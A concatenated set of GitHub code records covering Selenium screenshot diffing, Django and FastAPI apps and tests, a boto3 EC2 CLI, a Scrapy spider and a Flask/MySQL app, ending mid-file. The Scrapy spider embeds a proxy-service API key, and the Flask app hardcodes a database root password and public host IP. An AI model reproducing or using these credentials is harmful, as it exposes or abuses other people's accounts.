self.capture_screens() # Comment for manual use\n print ('Capture - ', time.time()- startcap)\n startan = time.time()\n self.analyze()\n print ('Analyze - ', time.time()- startan)\n self.clean_up()\n print ('All - ', time.time()- startall)\n\n def set_up(self):\n # Chrome\n options = webdriver.ChromeOptions()\n options.add_argument('headless') # Headless option\n options.add_argument(\"start-maximized\");\n self.ChromeDriver = webdriver.Chrome(options=options)\n # Firefox\n options = webdriver.FirefoxOptions()\n options.headless = True # Headless option\n self.FirefoxDriver = webdriver.Firefox(options=options)\n self.FirefoxDriver.maximize_window()\n\n def clean_up(self):\n self.ChromeDriver.close()\n self.FirefoxDriver.close()\n\n def capture_screens(self):\n self.screenshot(self.CHROME_URL, 'screenshot_chrome.png', 'chrome')\n self.screenshot(self.FIREFOX_URL, 'screenshot_firefox.png', 'firefox')\n\n def screenshot(self, url, file_name, driver_type):\n path = os.path.join('./', 'screenshots', file_name)\n if (driver_type == 'chrome'):\n print(\"Capturing\", url, \"screenshot as\", file_name, \"with chrome...\")\n self.ChromeDriver.get(url)\n height = self.ChromeDriver.execute_script(\"return document.body.scrollHeight\")\n self.ChromeDriver.set_window_size(1920,height+100)\n self.ChromeDriver.save_screenshot(path)\n print(\"Done.\")\n elif (driver_type == 'firefox'):\n print(\"Capturing\", url, \"screenshot as\", file_name, \"with firefox ...\")\n self.FirefoxDriver.get(url)\n height = self.FirefoxDriver.execute_script(\"return document.body.scrollHeight\")\n self.FirefoxDriver.set_window_size(1920,height+100)\n self.FirefoxDriver.save_screenshot(path)\n print(\"Done.\")\n \n \n def analyze(self):\n print(\"Analyzing screenshots...\")\n screenshot_chrome = Image.open(\"screenshots/screenshot_chrome.png\")\n screenshot_firefox = Image.open(\"screenshots/screenshot_firefox.png\")\n columns = 120\n rows = 160\n screen_width, screen_height = screenshot_chrome.size\n\n block_width = ((screen_width - 1) // columns) + 1 # this is just a division ceiling\n block_height = ((screen_height - 1) // rows) + 1\n\n for y in range(0, screen_height, block_height+1):\n for x in range(0, screen_width, block_width+1):\n region_staging = self.process_region(screenshot_chrome, x, y, block_width, block_height)\n region_production = self.process_region(screenshot_firefox, x, y, block_width, block_height)\n\n if region_staging is not None and region_production is not None and region_production != region_staging:\n draw = ImageDraw.Draw(screenshot_chrome)\n draw.rectangle((x, y, x+block_width, y+block_height), outline = \"red\")\n\n screenshot_chrome.save(\"screenshots/result.png\")\n print(\"Result screenshot saved!\")\n\n def process_region(self, image, x, y, width, height):\n region_total = 0\n\n # This can be used as the sensitivity factor, the larger it is the less sensitive the comparison\n factor = 100\n\n for coordinateY in range(y, y+height):\n for coordinateX in range(x, x+width):\n try:\n pixel = image.getpixel((coordinateX, coordinateY))\n region_total += sum(pixel)/4\n except:\n return\n\n return region_total/factor\n\nScreenAnalysis()", "repo_name": "szattila98/Visual_Regression_Testing", "sub_path": "ScreenAnalysis.py", "file_name": "ScreenAnalysis.py", "file_ext": "py", "file_size_in_byte": 4111, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.time", "line_number": 15, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 16, "usage_type": "call"}, {"api_name": "time.time", "line_number": 18, "usage_type": "call"}, {"api_name": "time.time", "line_number": 20, "usage_type": "call"}, {"api_name": "time.time", "line_number": 21, "usage_type": "call"}, {"api_name": "time.time", "line_number": 23, "usage_type": "call"}, {"api_name": "time.time", "line_number": 25, "usage_type": "call"}, {"api_name": "selenium.webdriver.ChromeOptions", "line_number": 29, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 29, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 32, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 32, "usage_type": "name"}, {"api_name": "selenium.webdriver.FirefoxOptions", "line_number": 34, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 34, "usage_type": "name"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 36, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 36, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 67, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 67, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 68, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 68, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 82, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 82, "usage_type": "name"}]} {"seq_id": "42584676437", "text": "import pytest\r\n\r\n\r\ndef pytest_addoption(parser):\r\n parser.addoption(\r\n \"--torch\", action=\"store_true\", default=False, help=\"run tests depend on pytorch\"\r\n )\r\n\r\n\r\ndef pytest_collection_modifyitems(config, items):\r\n if config.getoption(\"--torch\"):\r\n # --runslow given in cli: do not skip slow tests\r\n return\r\n skip_torch = pytest.mark.skip(reason=\"need --torch option to run\")\r\n for item in items:\r\n if \"torch\" in item.keywords:\r\n item.add_marker(skip_torch)", "repo_name": "sbl1996/horch", "sub_path": "test/conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 510, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pytest.mark.skip", "line_number": 14, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 14, "usage_type": "attribute"}]} {"seq_id": "35546926345", "text": "import boto3 #boto3 is the python SDK to handle and communicate with AWS resources\nimport click #We are importing click to use the click commands\n\nsession = boto3.Session(profile_name='shotty')\nec2 = session.resource('ec2')\n\n@click.group()\ndef instances():\n \"\"\"Commands for instances\"\"\"\n\n@instances.command('list') #This will give our scirpt a nice help option and also takes control of the list_instances function beneath\n@click.option('--project', default=None, help=\"Only instances for project (tag Project:)\")\ndef list_instances(project):\n \"List EC2 instances\" #This is a python feature called doc string. It needs to be under the function. click makes use of this doc string and displays during help command\n instances = []\n if project:\n filters = [{'Name':'tag:Project', 'Values':[project]}]\n instances = ec2.instances.filter(Filters=filters)\n else:\n instances = ec2.instances.all()\n\n for i in instances:\n tags = { t['Key']: t['Value'] for t in i.tags or [] }\n print(\", \".join((\n i.id,\n i.instance_type,\n i.placement[\"AvailabilityZone\"],\n i.state[\"Name\"],\n i.public_dns_name,\n tags.get('Project', '')\n )))\n return\n\n@instances.command('stop')\n@click.option('--project', default=None, help='Only instances for projects')\ndef stop_instances(project):\n \"Stop EC2 instances\"\n instances = []\n if project:\n filters = [{'Name':'tag:Project', 'Values':[project]}]\n instances = ec2.instances.filter(Filters=filters)\n else:\n instances = ec2.instances.all()\n\n for i in instances():\n print(\"Stopping {0}...\".format(i.id))\n i.stop()\n\n return\n\nif __name__=='__main__': #Use this as the main function\n instances()\n", "repo_name": "mallik4ureddy/snapshotanalyzer-30000", "sub_path": "shotty/shotty.py", "file_name": "shotty.py", "file_ext": "py", "file_size_in_byte": 1809, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "boto3.Session", "line_number": 4, "usage_type": "call"}, {"api_name": "click.group", "line_number": 7, "usage_type": "call"}, {"api_name": "click.option", "line_number": 12, "usage_type": "call"}, {"api_name": "click.option", "line_number": 35, "usage_type": "call"}]} {"seq_id": "1730209982", "text": "from django.urls import path\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'reportList$', views.ReportListView.as_view()),\n url(r'hpReportList$', views.hp_reportListView.as_view()),\n url(r'hpReportMark$', views.hp_reportMarkView.as_view()),\n url(r'StuReportMsgLists$', views.StuReportMsgListsView.as_view()),\n url(r'createReport$', views.createReportView.as_view()),\n]\n", "repo_name": "zzoneee/web1", "sub_path": "4/web/ex/Report/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 414, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}]} {"seq_id": "7972742342", "text": "import uuid\nfrom django.shortcuts import render\nfrom .models import Product\nfrom paypal.standard.forms import PayPalPaymentsForm\nfrom django.conf import settings\n\n\ndef all_products_bkp(request):\n pagetitle = \"Products\"\n subtitle = \"Take a look into all products\"\n products = Product.objects.all()\n return render(request, \"products/products.html\", {\"products\": products, \"pagetitle\": pagetitle, \"subtitle\": subtitle})\n\ndef all_products(request):\n pagetitle = \"Products\"\n subtitle = \"Take a look into all products\"\n products = Product.objects.all()\n\n # What you want the button to do.\n paypal_dict = {\n \"business\": settings.PAYPAL_RECEIVER_EMAIL,\n \"amount\": 3.99,\n \"currency\": \"USD\",\n \"item_name\": \"chocolate\",\n \"invoice\": \"%s-%s\" % (5, uuid.uuid4()),\n \"notify_url\": settings.PAYPAL_NOTIFY_URL,\n \"return_url\": \"%s/paypal-return\" % settings.SITE_URL,\n \"cancel_return\": \"%s/paypal-cancel\" % settings.SITE_URL\n }\n\n # Create the instance.\n form = PayPalPaymentsForm(initial=paypal_dict)\n args = {\"form\": form, \"products\": products, \"pagetitle\": pagetitle, \"subtitle\": subtitle}\n return render(request, \"products/products.html\", args)\n\ndef __unicode__(self):\n return self.name", "repo_name": "alinechribeiro/Stream3-GIT", "sub_path": "products/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1270, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "models.Product.objects.all", "line_number": 11, "usage_type": "call"}, {"api_name": "models.Product.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "models.Product", "line_number": 11, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 12, "usage_type": "call"}, {"api_name": "models.Product.objects.all", "line_number": 17, "usage_type": "call"}, {"api_name": "models.Product.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "models.Product", "line_number": 17, "usage_type": "name"}, {"api_name": "django.conf.settings.PAYPAL_RECEIVER_EMAIL", "line_number": 21, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 21, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 25, "usage_type": "call"}, {"api_name": "django.conf.settings.PAYPAL_NOTIFY_URL", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 26, "usage_type": "name"}, {"api_name": "django.conf.settings.SITE_URL", "line_number": 27, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 27, "usage_type": "name"}, {"api_name": "django.conf.settings.SITE_URL", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 28, "usage_type": "name"}, {"api_name": "paypal.standard.forms.PayPalPaymentsForm", "line_number": 32, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}]} {"seq_id": "27459435898", "text": "# packages\nimport scrapy\nfrom scrapy.crawler import CrawlerProcess\nfrom scrapy.selector import Selector\nfrom scrapy.http import FormRequest\nimport urllib\nimport os\nimport json\nimport csv\nimport datetime\n\n# property scraper class\nclass Hotels(scrapy.Spider):\n # scraper name\n name = 'therapists'\n #start_url = 'https://www.priceline.com/relax/at/478502/from/20220523/to/20220527/rooms/1/adults/2?vrid=2af9fb11ff31fc1a4170ac6a891116da'\n base_url = 'https://www.whitepages.com.au/residential'\n # headers\n headers = {\n \"user-agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36\"\n }\n\n custom_settings = {\n 'CONCURRENT_REQUEST_PER_DOMAIN': 6,\n 'CONCURRENT_REQUESTS_PER_IP' : 6,\n 'DOWNLOAD_DELAY': 10,\n 'DOWNLOAD_TIMEOUT' : 10,\n 'AUTO_THROTTLE' : False,\n # enable the middleware\n 'DOWNLOADER_MIDDLEWARES': {'scrapy_crawlera.CrawleraMiddleware': 610},\n\n # enable crawlera\n 'CRAWLERA_ENABLED': True,\n\n # the APIkey you get with your subscription\n 'CRAWLERA_APIKEY': '89d13c9b2dd6414aafd11e7952b0769b',\n\n 'CRAWLERA_URL' : 'http://123compareme.crawlera.com:8010',\n 'ROBOTSTXT_OBEY' : 'False'\n\n }\n\n\n try:\n os.remove('abx.csv')\n except OSError:\n pass\n # custom settings\n custom_settings = {\n 'CONCURRENT_REQUEST_PER_DOMAIN': 2,\n 'DOWNLOAD_DELAY': 1\n }\n\n urls = []\n\n results = []\n\n urls_id = []\n\n # general crawler\n def start_requests(self):\n\n yield scrapy.Request(\n url = self.base_url,\n headers = self.headers,\n callback = self.parse,\n dont_filter = True\n )\n\n def parse(self, response):\n print(response.status)\n\n\n# # store all the scraped data into csv file\n# with open('hotels.csv', 'w+', newline = '') as csv_file:\n# writer = csv.DictWriter(csv_file, fieldnames = header)\n# writer.writeheader()\n# writer.writerows(self.results)\n\n\n\nif __name__ == '__main__':\n # run scraper\n process = CrawlerProcess()\n process.crawl(Hotels)\n process.start()\n\n #Hotels.parse(Hotels.parse, '')\n", "repo_name": "danishkhangithub/scrapers3", "sub_path": "stores/whitepages.py", "file_name": "whitepages.py", "file_ext": "py", "file_size_in_byte": 2298, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "scrapy.Spider", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 45, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 63, "usage_type": "call"}, {"api_name": "scrapy.crawler.CrawlerProcess", "line_number": 84, "usage_type": "call"}]} {"seq_id": "4059351858", "text": "\"\"\"Test the debate app.\"\"\"\nfrom django.test import TestCase\nfrom debate.models import Debate, ArgumentsFor, ArgumentsAgainst\nfrom django.contrib.auth.models import User\n\n\nclass DebateTest(TestCase):\n \"\"\"Test the debate functionality.\"\"\"\n\n def setUp(self):\n \"\"\"Setup database with debate and arguments.\"\"\"\n user = User(password='potatoes',\n username='zach',\n email='zach@example.com')\n user.save()\n\n new_debate = Debate(title='Should we have stricter gun laws?', created_by=user)\n new_debate.save()\n\n one_argument_for = ArgumentsFor(argument='If its harder to get your hands on a gun it will allow people to have more time to think before doing something reckless.',\n debate=new_debate,\n created_by=user)\n one_argument_for.save()\n\n two_argument_for = ArgumentsFor(argument='Another argument for stricter gun laws.',\n debate=new_debate,\n created_by=user)\n two_argument_for.save()\n\n one_argument_against = ArgumentsAgainst(argument='One argument against.',\n debate=new_debate,\n created_by=user)\n one_argument_against.save()\n\n two_argument_against = ArgumentsAgainst(argument='Another argument against.',\n debate=new_debate,\n created_by=user)\n two_argument_against.save()\n\n def test_debate_is_created_and_title_added(self):\n \"\"\"Test that a debate model instance is created by setup.\"\"\"\n one_debate = Debate.objects.get(id=1)\n debate_title = one_debate.title\n self.assertEqual(debate_title, 'Should we have stricter gun laws?')\n\n def test_debate_multiple_arguments_for(self):\n \"\"\"Test the one to many relationship for a debate and arguments for.\"\"\"\n a_debate = Debate.objects.get(id=3)\n arguments_for = a_debate.argumentsfor_set.all()\n self.assertEqual(len(arguments_for), 2)\n\n def test_debate_multiple_arguments_against(self):\n \"\"\"Test the one to many relationship for a debate and arguments for.\"\"\"\n a_debate = Debate.objects.get(id=2)\n arguments_against = a_debate.argumentsagainst_set.all()\n self.assertEqual(len(arguments_against), 2)\n\n def test_user_can_create_multiple_arguments(self):\n \"\"\"Test that a user can create multiple arguments for a debate.\"\"\"\n a_user = User.objects.get(username='zach')\n arguments_for = a_user.argumentsfor_set.all()\n self.assertEqual(len(arguments_for), 2)\n", "repo_name": "ztaylor2/productive-discussion", "sub_path": "productivediscussion/debate/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 2791, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.test.TestCase", "line_number": 7, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User", "line_number": 12, "usage_type": "call"}, {"api_name": "debate.models.Debate", "line_number": 17, "usage_type": "call"}, {"api_name": "debate.models.ArgumentsFor", "line_number": 20, "usage_type": "call"}, {"api_name": "debate.models.ArgumentsFor", "line_number": 25, "usage_type": "call"}, {"api_name": "debate.models.ArgumentsAgainst", "line_number": 30, "usage_type": "call"}, {"api_name": "debate.models.ArgumentsAgainst", "line_number": 35, "usage_type": "call"}, {"api_name": "debate.models.Debate.objects.get", "line_number": 42, "usage_type": "call"}, {"api_name": "debate.models.Debate.objects", "line_number": 42, "usage_type": "attribute"}, {"api_name": "debate.models.Debate", "line_number": 42, "usage_type": "name"}, {"api_name": "debate.models.Debate.objects.get", "line_number": 48, "usage_type": "call"}, {"api_name": "debate.models.Debate.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "debate.models.Debate", "line_number": 48, "usage_type": "name"}, {"api_name": "debate.models.Debate.objects.get", "line_number": 54, "usage_type": "call"}, {"api_name": "debate.models.Debate.objects", "line_number": 54, "usage_type": "attribute"}, {"api_name": "debate.models.Debate", "line_number": 54, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 60, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 60, "usage_type": "name"}]} {"seq_id": "73987308732", "text": "from fastapi.testclient import TestClient\nimport json\n\nfrom vaccine.main import app\n\n# Ref https://fastapi.tiangolo.com/tutorial/testing/\n\n\nclient = TestClient(app)\n\n\ndef test_retrieve_appointments_byid():\n data = {\"startTime\": '3:30', 'endTime': '5:40'}\n response = client.post('/devsecops/vaccine', json.dumps(data))\n # response.raw\n response = client.get('/devsecops/vaccine/1')\n assert response.status_code == 200\n assert response.json()['startTime'] == '3:30'\n assert response.json()['endTime'] == '5:40'\n\n\ndef test_create_vaccine():\n data = {\"startTime\": '3:30', 'endTime': '5:40'}\n response = client.post('/devsecops/vaccine', json.dumps(data))\n assert response.status_code == 201\n assert response.json()['startTime'] == '3:30'\n assert response.json()['endTime'] == '5:40'\n\n\ndef test_retrieve_all_appointments():\n response = client.get('/devsecops/vaccine/all')\n assert response.status_code == 200\n\n\ndef test_update_appointment():\n data = {\"startTime\": '1:10', 'endTime': '2:20'}\n response = client.put('devsecops/vaccine/1', json.dumps(data))\n print(response.json(), \"****************\")\n print(response, \"****************\")\n assert response.status_code == 202\n assert response.json() == 'updated'\n\n\ndef test_delete_appointment():\n response = client.delete('/devsecops/vaccine/1')\n assert response.status_code == 204\n\n\n## second test of tc\n\ndata1 = {\n 'startTime': '10:50',\n 'endTime': '11:50'\n}\n\n\ndef test_create_vaccine_1():\n response = client.post('/devsecops/vaccine', json=data1)\n assert response.status_code == 201\n assert response.json()['startTime'] == '10:50'\n\n# print(os.path.abspath(__file__))\n# print(__file__)\n# import sys\n# import os\n# sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\n# from vaccine.routers.vaccineRouter import router\n", "repo_name": "DineshChowdary6/FastAPI", "sub_path": "vaccine/tests/testvaccine.py", "file_name": "testvaccine.py", "file_ext": "py", "file_size_in_byte": 1867, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "fastapi.testclient.TestClient", "line_number": 9, "usage_type": "call"}, {"api_name": "vaccine.main.app", "line_number": 9, "usage_type": "argument"}, {"api_name": "json.dumps", "line_number": 14, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 24, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 37, "usage_type": "call"}]} {"seq_id": "44179408105", "text": "import os\r\nimport os.path as op\r\nfrom setuptools import PEP420PackageFinder\r\nfrom distutils.core import setup\r\n\r\nROOT = op.dirname(op.abspath(__file__))\r\nSRC = op.join(ROOT, \"src\")\r\n\r\nsetup(\r\n name=\"discount_app\",\r\n version=\"0.1.1\",\r\n package_dir={\"\": \"src\"},\r\n description=\"DS Templates\",\r\n author=\"Tiger Analytics\",\r\n packages=PEP420PackageFinder.find(where=str(SRC)),\r\n)\r\n", "repo_name": "Navyasree-TigerAnalytics/app-templates_1", "sub_path": "backend/setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 393, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.dirname", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "name"}, {"api_name": "distutils.core.setup", "line_number": 9, "usage_type": "call"}, {"api_name": "setuptools.PEP420PackageFinder.find", "line_number": 15, "usage_type": "call"}, {"api_name": "setuptools.PEP420PackageFinder", "line_number": 15, "usage_type": "name"}]} {"seq_id": "70914827425", "text": "import model_util as mu\nimport predictor\nimport data\n\nmodel = mu.getModel('cnn-test10')\nch2idx = data.getCh2idx()\n\ntext = '한동훈 법무부 장관이 18일 윤석열 대통령에게\\n검찰총장 후보자로 이원석(53·사법연수원 27기) 대검찰청 차장을\\n임명 제청했다. 윤 대통령은 이르면 이날 이 차장을 총장 후보자로 지명해 발표할 전망이다.\\n이 차장은 전남 보성 출신으로 서울 중동고등학교와 서울대 정치학과를 졸업했다. 그는 1995년\\n37회 사법시험에 합격하고 1998년 사법연수원을 수료한 뒤 서울지검 동부지청에서 검사 생활을\\n시작했다. 그는 검찰 내 대표적인 특수통으로 분류된다. 수원지검 특수부 검사 시절 당시 대검 검찰연구관으로\\n근무하던 윤석열 대통령과 삼성그룹 비자금 및 로비 의혹 사건을 함께 수사했다. 2017년엔 서울중앙지검 특수1부장으로\\n국정농단 의혹 사건을 수사하며 박근혜 전 대통령을 직접 조사하고 구속하기도 했다.'\n\n# split from each\nreplaced = text.replace('\\n', ' ')\n\nnew_splitted = []\n\nwords = replaced.split()\n\ns = 0\nfor i in range(1, len(words)):\n first = ' '.join(words[s:i])\n second = ' '.join(words[i:len(words)+1])\n \n output = predictor.predict(first, second, model, ch2idx)\n\n if output == '0':\n s = i\n new_splitted.append(first)\n\n print(first,end='-->')\n print(second,end='=')\n print(output)\nprint()\n\nsplit = ' '.join(words[s:len(words)+1])\nnew_splitted.append(split)\n\nresult = '\\n'.join(new_splitted)\nprint(result)", "repo_name": "yheechan/ocr_web", "sub_path": "flask-server/algorithm.py", "file_name": "algorithm.py", "file_ext": "py", "file_size_in_byte": 1620, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "model_util.getModel", "line_number": 5, "usage_type": "call"}, {"api_name": "data.getCh2idx", "line_number": 6, "usage_type": "call"}, {"api_name": "predictor.predict", "line_number": 22, "usage_type": "call"}]} {"seq_id": "36832329332", "text": "from flask import Flask, render_template, request, redirect, flash\nimport mysql.connector\n\napp = Flask(__name__)\napp.secret_key = 'your_secret_key'\n\nmydb = mysql.connector.connect(\n host=\"13.233.161.181\",\n user=\"root\",\n password=\"1234\",\n database=\"mydb\"\n)\n\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n\n@app.route('/students')\ndef students():\n try:\n mycursor = mydb.cursor()\n mycursor.execute(\"SELECT * FROM students\")\n students = mycursor.fetchall()\n return render_template('student.html', students=students)\n except mysql.connector.Error as error:\n app.logger.error(f\"Error fetching students: {error}\")\n return \"Internal Server Error\", 500\n\n\n@app.route('/add_student', methods=['GET', 'POST'])\ndef add_student():\n if request.method == 'POST':\n name = request.form['name']\n age = request.form['age']\n gender = request.form['gender']\n major = request.form['major']\n year = request.form['year']\n marks = request.form['marks']\n mycursor = mydb.cursor()\n sql = \"INSERT INTO students (name, age, gender, major, year, marks) VALUES (%s, %s, %s, %s, %s, %s)\"\n val = (name, age, gender, major, year, marks)\n try:\n mycursor.execute(sql, val)\n mydb.commit()\n flash('Student added successfully!', 'success')\n return redirect('/add_student')\n except mysql.connector.Error as error:\n flash(f\"Error adding student: {error}\", 'error')\n return redirect('/add_student')\n else:\n return render_template('add_student.html')\n\n\nif __name__ == '__main__':\n app.run(port=5000)\n", "repo_name": "Ajaysudhakar/schoolapp", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1699, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "mysql.connector.connector.connect", "line_number": 7, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 7, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 7, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 26, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 27, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 37, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 47, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 48, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 49, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 53, "usage_type": "call"}]} {"seq_id": "22410082631", "text": "from multiprocessing.pool import Pool\nfrom time import ctime, sleep\nimport random\n\n\ndef worker(mag, sec):\n sleep(sec)\n print(ctime(), \"---\", mag)\n\n\nif __name__ == '__main__':\n pool = Pool()\n for i in range(40):\n msg = \"订单-%d\" % i\n pool.apply_async(worker, args=(msg, random.random() * 8))\n pool.close()\n pool.join()\n", "repo_name": "zjkliuzy/pythonProject1", "sub_path": "m2/day13/process_pool.py", "file_name": "process_pool.py", "file_ext": "py", "file_size_in_byte": 352, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.sleep", "line_number": 7, "usage_type": "call"}, {"api_name": "time.ctime", "line_number": 8, "usage_type": "call"}, {"api_name": "multiprocessing.pool.Pool", "line_number": 12, "usage_type": "call"}, {"api_name": "random.random", "line_number": 15, "usage_type": "call"}]} {"seq_id": "41636653193", "text": "import os\nimport wget\nimport shutil\nfrom zipfile import ZipFile\n\n\ndef downloader(model, destination_path='../models'):\n \n \"\"\"\n Function to download pre-trained models from hugginf face aws repository OR Google's storgage.\n\n Parameters\n ----------\n model : Pick one of these ['bert','electra','roberta','distilbert','albert']\n download_path : Directory whether the model has to be downloaded\n\n Returns\n -------\n\n \"\"\"\n \n model_download = {\n \"bert\": 'Bert_base',\n \"electra\": 'Electra_base',\n \"roberta\": 'Roberta',\n \"distilbert\" : 'DistilBert',\n \"albert\": 'Albert'\n }\n \n if model not in model_download:\n print(\"Please pick model name from ['bert','electra','roberta','distilbert','albert']\")\n return None\n\n output_dir = os.path.join(destination_path, model_download[model])\n print(\"Model gets downloaded here: \", output_dir)\n\n # Create output directory if needed\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n \n if model == 'roberta':\n \n \n config_file = wget.download('https://s3.amazonaws.com/models.huggingface.co/bert/roberta-base-config.json',\n os.path.join(output_dir,'config.json'))\n vocab_file = wget.download('https://s3.amazonaws.com/models.huggingface.co/bert/roberta-base-vocab.json',\n os.path.join(output_dir,'vocab.json'))\n merges_file = wget.download('https://s3.amazonaws.com/models.huggingface.co/bert/roberta-base-merges.txt',\n os.path.join(output_dir,'merges.txt'))\n model_file = wget.download('https://s3.amazonaws.com/models.huggingface.co/bert/roberta-base-pytorch_model.bin',\n os.path.join(output_dir,'pytorch_model.bin'))\n \n if model == 'albert':\n config_file = wget.download('https://s3.amazonaws.com/models.huggingface.co/bert/albert-base-v2-config.json',\n os.path.join(output_dir,'config.json'))\n spiece_file = wget.download('https://s3.amazonaws.com/models.huggingface.co/bert/albert-base-v2-spiece.model',\n os.path.join(output_dir,'spiece.model'))\n model_file = wget.download('https://s3.amazonaws.com/models.huggingface.co/bert/albert-base-v2-pytorch_model.bin',\n os.path.join(output_dir,'pytorch_model.bin'))\n \n if model == 'distilbert':\n config_file = wget.download('https://s3.amazonaws.com/models.huggingface.co/bert/distilbert-base-uncased-config.json',\n 